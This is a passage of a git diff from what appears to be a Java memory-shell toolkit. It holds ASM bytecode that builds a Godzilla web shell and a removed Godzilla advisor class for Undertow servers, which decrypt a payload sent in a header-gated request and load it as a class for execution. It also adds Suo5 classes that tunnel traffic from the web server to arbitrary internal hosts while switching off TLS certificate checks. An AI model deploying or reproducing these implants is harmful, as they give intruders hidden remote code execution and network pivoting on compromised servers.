mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// Decrypt data
// data = (byte[]) doFinalMethod.invoke(cipher, data);
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store updated data in local var 10
}
private void getParameterValue(int requestIndex, int passIndex, int curParameterIndex) {
// String parameter = (String) request.getClass().getMethod("getParameter",
// String.class).invoke(request, pass);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getParameter");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke getParameter
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, passIndex); // Load pass
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, curParameterIndex); // Store parameter in local var 9
}
private void getHeaderValue(int requestIndex, int headerNameIndex, int curHeaderIndex) {
// String value = (String) request.getClass().getMethod("getHeader",
// String.class).invoke(request, headerName);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getHeader");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke getHeader
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, headerNameIndex); // Load headerName
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, curHeaderIndex); // Store value in local var 8
}
private void tryDecodeBase64(int base64ClassIndex, int decoderClassIndex, int curParameterIndex, int dataIndex,
int base64ExceptionIndex) {
// Try to use java.util.Base64 decoder first
Label base64DecodeTrialStart = new Label();
Label base64DecodeCatch = new Label();
Label afterBase64Decode = new Label();
mv.visitTryCatchBlock(base64DecodeTrialStart, base64DecodeCatch, base64DecodeCatch, "java/lang/Throwable");
mv.visitLabel(base64DecodeTrialStart);
// Class<?> clazz = Class.forName("java.util.Base64", true,
// Thread.currentThread().getContextClassLoader());
mv.visitLdcInsn("java.util.Base64");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store Base64 class in local var 11
// Object object = clazz.getMethod("getDecoder", new Class[0]).invoke(clazz,
// null);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class
mv.visitLdcInsn("getDecoder");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class as the target
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder object in local var 12
// byArray = (byte[])object.getClass().getMethod("decode",
// String.class).invoke(object, string7);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("decode");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Decode);
// Catch block for fallback to sun.misc.BASE64Decoder
mv.visitLabel(base64DecodeCatch);
mv.visitVarInsn(Opcodes.ASTORE, base64ExceptionIndex); // Store exception in local var 13
// base64 = Class.forName("sun.misc.BASE64Decoder", true,
// Thread.currentThread().getContextClassLoader());
mv.visitLdcInsn("sun.misc.BASE64Decoder");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 11
// Object decoder = base64.newInstance();
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", "()Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder in local var 12
// data = (byte[]) decoder.getClass().getMethod("decodeBuffer",
// String.class).invoke(decoder, parameter);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("decodeBuffer");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
mv.visitLabel(afterBase64Decode);
}
}
@@ -1,92 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.godzilla.undertow;
import net.bytebuddy.asm.Advice;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class GodzillaServletInitialHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.AllArguments Object[] args
) {
String key = "key";
String pass = "pass";
String md5 = "md5";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] data = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Cipher c = Cipher.getInstance("AES");
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
c.init(2, keySpec);
data = c.doFinal(data);
Object session = request.getClass().getMethod("getSession").invoke(request);
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
if (sessionPayload == null) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
} else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) sessionPayload).newInstance();
f.equals(arrOut);
f.equals(request);
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
writer.write(md5.substring(0, 16));
f.toString();
c.init(1, keySpec);
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
String result = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
}
writer.write(result);
writer.write(md5.substring(16));
}
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1,569 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import javax.net.ssl.*;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5() {
}
public Suo5(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object request = args[0];
Object response = args[1];
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
if (value == null || !value.contains(headerValue)) {
return false;
}
if (contentType == null) {
return false;
}
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return true;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable ignored) {
}
return true;
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(Object request, Object response) throws Exception {
InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(Object request, Object resp) throws Exception {
final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
return;
}
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
// 0x00 create socket
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.getClass().getMethod("flushBuffer").invoke(resp);
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5 p = new Suo5(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
try {
sc.close();
respOutStream.close();
}catch (Exception ignored) {
}
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(Object request, Object resp) throws
Exception {
InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request);
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512);
OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.getClass().getMethod("flushBuffer").invoke(resp);
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getClass().getMethod("getMethod", String.class).toString();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = ((Enumeration) request.getClass().getMethod("getHeaderNames").invoke(request));
Method getHeaderMethod = request.getClass().getMethod("getHeader", String.class);
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, ((String) getHeaderMethod.invoke(request, k)));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,585 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import javax.net.ssl.*;
import java.io.*;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5JettyHandler implements Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5JettyHandler() {
}
public Suo5JettyHandler(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
if (value == null || !value.contains(headerValue)) {
return false;
}
if (contentType == null) {
return false;
}
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return true;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
